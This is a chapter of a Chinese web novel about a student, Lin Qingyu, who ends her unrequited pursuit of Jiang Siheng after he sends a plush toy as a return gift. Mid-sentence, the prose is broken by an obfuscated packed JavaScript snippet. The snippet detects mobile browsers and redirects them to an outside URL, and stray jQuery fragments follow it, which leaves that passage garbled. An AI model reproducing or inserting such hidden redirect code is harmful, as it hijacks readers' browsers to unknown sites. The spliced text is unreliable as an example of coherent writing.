林清鱼慌忙地回过身去查看,那个挂件此刻掉落在地上,碎成了两半,边角处还落了一些碎渣。
她瞳孔骤缩了下,忙蹲下身子捡起那个挂件的残骸,胸口处剧烈地起伏着,喉间止不住地颤动,恍惚间天旋地转,眼前一瞬间变得模糊,又转而慢慢清晰。
破碎的边缘处锋利得很,一不小心就会扎疼人。
她努力地想将那两半合在一起,但无论怎么摆,都不能够严丝合缝地贴在一起。
察觉到她的异常,肖塘也跟着蹲下来,拧着眉心询问道:“你没事吧?”
林清鱼沉沉地深吸了口气,又慢慢吁出来,摇摇头强装镇定道:“没事。”
她将那几块碎片小心翼翼地放进口袋里,掌心撑在沙发上,借力缓慢起身。
“我先走了,今晚谢谢你了。”
只留下这一句,她头也不转地向外跑去。
一直回到寝室,哪怕此刻卫生间没人,也顾不上先去洗漱。
她将碎片摆在桌上,从抽屉里取出固体胶在缺口处缜密地涂了个遍,随后用力将两块拼在一起。
生怕一松开,原本粘在一起的两片会慢慢脱离开来,手臂硬是保持了二十来分钟。
但仍是不起作用。
她有些着急,又向舍友借了双面胶、强力胶等东西,一个一个试过去,一直到晚间熄灯时间,才堪堪拼凑好。
暖黄色的台灯下,光线微微地透过未合紧的小缝射出,她轻轻摩挲了下挂件的表面,生怕不小心又碰碎开来,不敢再挂到书包上,而是小心翼翼地将它藏进了书柜的最深处。
角落里,台灯的灯光照不到这,挂件顿时黯淡了下去。
她打了个哈欠,下意识看了眼时间,已经十一点过半了。
这才匆匆整理好东西进卫生间洗漱。
*
因为近期社团使用活动室出现的不规范的问题太多,团委老师特地让林清鱼通知所有使用活动室的社团于周一傍晚六点到二楼会议室开个短会,主要再次强调活动室守则。
讲是刘姐在讲,林清鱼主要同干事一起在门口负责签到。
闲下来时,她看了一眼手机。
群里头邝柠在问他俩有没有快递是在妈妈驿站的,她正好要过去一趟。
这一问,林清鱼才恍然想起前两天刚收到的消息通知,当时一下子被骂懵了,给这事忘了。那个快递就一直没去取过,恰好邝柠要去,她便将那个取件码发到群里,拜托邝柠帮忙取一下。
又过了十来分钟,邝柠在群里发了一张照片,内容一个快递箱,箱子的长度看上去有平常时衣服快递的三倍大,上面贴的取件码赫然是让她帮忙取的那个。
邝柠【神经啊,你买啥了啊这么大个,我屏幕都放不开】
她甚至还将自己的快递放在林清鱼的那个快递箱上面比对,只占了不值一提的一小块地方。
林清鱼也懵了,她甚至都不知道里头装的是什么东西。
卡布奇诺就是好【不是我买的啊,谁给我寄了个冰箱过来啊】
卡布奇诺就是好【你别取了,我一会儿自己去拿】
毕竟她怕里头装着的是个实物,邝柠还有自己的快递要拿,她怕她拿不动。
外面飘着毛毛细雨,一针一针的,斜斜地飘下来。
对面一直没回消息过来,这会儿刘姐表情特别严肃,林清鱼也不敢再看手机。
虽然说是短会,但还是实打实地讲了一个小时。
结束时,林清鱼打开手机,群里已经多了很多条新消息。
邝柠【小鱼,放你寝室门口了,等你回来我一定要看里头是什么个东西】
邝柠【累死我了,下次有快递我偷偷去,不问你俩了】
还拍了张自己被雨水打湿的刘海的照片。
鲫鱼【取个快递给你累的】
邝柠【那是一般的快递吗,我真怀疑里头是不是装了冰箱,但好像又没那么重】
邝柠【早知道我半路拆开看了,看完再偷偷粘回去[憋笑]】
鲫鱼【一看真是冰箱,扔半路不想搬了[憋笑]】
邝柠【哎我靠,光顾着看那破冰箱了,取完忘记扫码了[黑脸]】
……
林清鱼检查完会议室有没有遗留垃圾后,往寝室方向走去,边走边回复群里的消息。
卡布奇诺就是好【真搬回来了啊,这次确实是人家不好,也没想到会是那么大一个】
邝柠【你啥时候会回来啊】
卡布奇诺就是好【在回去的路上了,王镜允需不需要给你录一个开箱vlog】
王镜允回了个配文“不了”的表情包。
这会儿雨并不大,落在身上甚至都没什么感觉,雨势似乎还有消散的趋势。
不过因为想知道那个大箱子里头装的到底是什么东西,她走的脚步有些急,以至于尽管还没吃晚饭,还是打算先回去一趟。
拐进七楼的长廊,那个箱子惹眼地放在了寝室门口。林清鱼朝上方的透明玻璃往里头看去,寝室这会儿黑鸦鸦的,应当是还没有人回来。
她打开门,将那个大箱子搬进屋内。确实如邝柠所说的,它虽然看着跟个冰箱似的,但是并不重。
许是听到隔壁开门的动静,林清鱼门还没来得及关上,邝柠就跑进来了,还贴心地帮忙把门带上。
她看着此刻拿着一把小刀半蹲在地上的林清鱼,也跟着蹲了下来,好奇地说道:“你问过谁给你送快递了吗,有说送什么吗?”
林清鱼摇摇头,但心里猜想大概率是林锦眠,毕竟她爸妈一般都是转账让她自己去买,除此之外,好像就不记得给过谁地址或是电话号码的。
怕不小心划坏里头的东西,林清鱼只敢在上面浅浅插入个小口,再慢慢划开。划到一半,桌上的手机突然震了下。
以为是刚才会议室的收尾工作没做好,刘姐给她发消息过来,林清鱼把小刀递给邝柠,自己赶忙去拿手机查看消息。
屏幕上密密麻麻地显示了几条微信消息,但并没有显示名字。她的消息提醒总是这样奇奇怪怪的,时而显示昵称,时而又只显示微信有新消息。
林清鱼心里有阴影了,怕又是一顿数落,做了会儿心理准备才敢打开。
意料外的,是江司衡给她发来的消息。
她忙点开查看。
却在下一秒,脸上的笑容僵住。
JS.h【我还是觉得礼尚往来更好些,所以也给你买了个玩偶,填的你的号码】
JS.h【不过快递到了好几天都没有去取,是你那边没有提示吗】
JS.h【刚刚看的时候才发现送到那么远去了,我明天有空去帮你拿回来吧】
……
密密麻麻的扎眼的消息一个劲地发过来,与之一起的是邝柠的一声:“诶,是一个猫咪玩偶,哪个暗恋你的人给你偷偷寄的啊。”
见周遭仿佛静止了般没有任何动静,邝柠下意识投去视线,却在转头的瞬间看到林清鱼眼眶中噙满的泪在那一刻溢了出来,一颗一颗成串地啪嗒砸在屏幕上。
她视线往下一扫,停在聊天界面上,俨然明白了一切。她试探性地喊了一声:“小鱼…”
却在这时,一通电话打了进来。
林清鱼看着来电显示的“林锦眠”,指尖颤抖地点了接听键:“喂。”
声音像是从干涩的喉咙里挤出来的,又哑又模糊。
但那头似乎没有察觉什么异样,自顾开口说道:“前两天给忙忘了,都忘记问你给他送完礼物后,你俩怎么样了。”
沉默半晌,没有得到回音,那头疑惑地喊了一声:“林清鱼?”
林清鱼眼睫颤动,嘴巴半天合不拢,喉间来回喘着温热的气息,想努力将声音压回平常却又抑制不住的哽咽:“他还了一个玩偶给我…”
这回,电话那头不作声了。
片刻,对面突然爆发出一声:“你他妈别再追了,人家就是拎得很清!”
林清鱼不知道自己是怎么挂断这通电话的,只是感觉视线一片模糊,仿佛什么都看不清了。
周遭仿佛变得虚无,视觉、听觉,一切的一切似乎都在消散,她好像什么都感受不到了。
但偏偏,有一个地方抽痛得厉害。
像在一瞬间,被千百把刀子狠狠扎了上去,淋漓的鲜血不停喷涌而出,那种无力的窒息感死死地攀附着她全身,她难受得快喘不上气来。
良久良久。
像是身体里的水分殆尽,再也流不出来一滴眼泪,她的情绪才慢慢强压下来。
邝柠紧紧握着她的手,眉心拧着,但语气放得很轻:“所以那天,他问你身高…”
是在思索回她什么尺寸的玩偶好。
林清鱼那双眼睛已经被她哭得通红,瞳孔处隐隐有血丝爬上,却是连说话的力气都没有了。
明明白白摆在眼前的事实,邝柠再多问也无济于事,甚至可能会刺激到林清鱼。她赶忙安抚地拍了拍她的后背,一边大骂道:“这回我都不想替他辩解了,他就是个比池一还过分的傻缺!”
平复少时,林清鱼慢慢推开邝柠搭在自己胳膊上的手,佯装无事地说道:“你先回去吧,我想去跑步了。”
“可是现在…”
邝柠刚想说现在还在下雨,但一扭头往阳台看去,什么都没有,雨已经停下了,转而改口道:“那我陪你去吧,正好我没跑完。”
林清鱼摇摇头:“我想自己一个人。”
她不想,邝柠便不再强求。
半路,雨似乎又不合时宜地下了起来,但雨丝细细的,并不影响跑步。
一直走到操场上,刚在休息椅上放完伞,抬眸的瞬间,视线里走来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669736|173099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了那个她此刻最不想看见的人。
过来之前,林清鱼特地收拾了一番,以至于他第一时间并没有发现她的异常,兀自说道:“还挺巧在这碰见你,我刚刚给你发了好多消息,你怎么…”
“江司衡。”
林清鱼打断了他的话,语气里是从未有过的冷静与平淡:“你不用跟我算得那么清,你不喜欢,我以后不会了。”
原以为她已经没什么眼泪能挤出来了,但在看到江司衡的那一刻,鼻尖还是忍不住一阵发酸,眼眶里隐隐氤氲着热意。
“什么?”江司衡看着她的反应,眼里闪过一丝少有的慌乱,却偏偏又在下一刻恢复平静。
一道湿意从眼角滑落,林清鱼强压着喉间翻滚的热气一字一句道:“那个玩偶,我收下了,你现在不欠我什么了。”
江司衡眸光终于不淡定地晕散开来,他知道她理解的意思,他想解释:“没有欠什么,我只是…”
声音戛然而止。
他突然之间,怎么也说不清自己的做法了。
林清鱼侧着头,视线始终停留在他身上,眼前不知是被雨水还是其他东西打湿,蒙上了一层水雾。
她愿意听他辩解,但他什么都说不出来。
沉寂片刻,林清鱼嘴角扯着一抹自嘲的笑意,哽咽道:“你想礼尚往来,那应该在我生日的时候回礼,而不是在我送完你礼物的第二天,就开始筹划着要还给我什么!”
就像是,被退货了一样。
不留余地地将她的自尊心挫碎扬了,他还真是知道怎么中伤她最疼。
她的语气越说越激动,却又强行维持着仅剩的体面。
江司衡喉结滚动了下,朝她走近一步,声音轻得像怕碰碎了她:“你不要多想,你就当作,是我莫名其妙地送了你一个礼物。”
但那东西明晃晃地放在寝室里,所有的聊天记录都摆在眼前,一切的一切,都是那么刚好,她怎么可能不多想。
她眼睫翕动,脸上情绪平淡得像是接受了这一切,哪怕看着他朝自己走近,也无动于衷。
剩着最后一丝理智与希冀,她忽然问他:“江司衡,你喜欢过我吗?”
一秒。
两秒。
三秒。
没有任何声音。
“你说不出口。”
因为你对我从来都没有过这份情感。
纷飞的雨丝飘在昏黄的路灯下,犹如一块块抓不住的碎渣子。
她看着眼前欲言又止的那人,恍然明白了一切。
下一秒,她忽地笑了下,视线没有犹豫地从他身上抽离,背过身的瞬间,五脏六腑像被撕裂了般疼痛难抑。
一步。
两步。
电视剧里那种挽留的情节并没有在她身上上演,她或许,早就不该期待什么了。
林锦眠说得对,哪怕嘴上说的是做朋友,但只要自己表现出来喜欢他了,她让他知道喜欢他了,他就会毫无顾忌、有恃无恐。
又或许是她太过迟钝,他分明那么努力地想和自己撇清关系,她早就不该再纠缠上去。
雨势在渐渐变大,休息椅上有一把被她遗落的伞,可她不想转身回去拿。
她不想再看到他一分、一秒。
“小鱼!”前方突然传来了一声。
林清鱼缓缓抬眸,视线里是匆忙跑来的邝柠的身影。
方才于景阳给邝柠发消息,说江司衡出去跑步好像没带伞,还让她转告林清鱼出去给他送个伞制造机会,她担心林清鱼会碰见江司衡,于是赶忙跑了出来。
但现在看来,她好像来晚了一步。
“邝柠…”林清鱼声音一撮一撮的,跑上前去猛地抱住了她,像是终于寻得了依靠,将头埋进她的肩膀里啜泣道:“不追了,这次…真的…不追了。”
所有情绪的堡垒在此刻尽数崩塌,回想自己这段时间所做的一切,她只觉得滑稽可笑。
人家早就拒绝得明明白白的,是她还非要一个劲儿地往上凑。
自始至终,都是她的一厢情愿。
邝柠轻轻拍着她的后背安慰道:“小鱼,你没有错,是他做的太过分。”
回去的路程似乎变短了不少,一直到寝室里,除了她依旧是没有一个人回来。
那碍眼的玩偶她没有选择扔掉,而是塞进了衣柜的最深处。
视线在江司衡的微信界面上停顿许久,她最终也没有按下删除键,转而取消了置顶设置。
她将一切都以最体面的方式处理好。
意料外地,她并没有像上一次那样彻夜难眠,反而出奇的好睡。
她才发现,原来放弃一个喜欢的人居然会变得这么轻松。
不用再处处考虑自己言行是否得当。
不必再为他的情绪所牵引。
像是一瞬间卸下了所有的担子。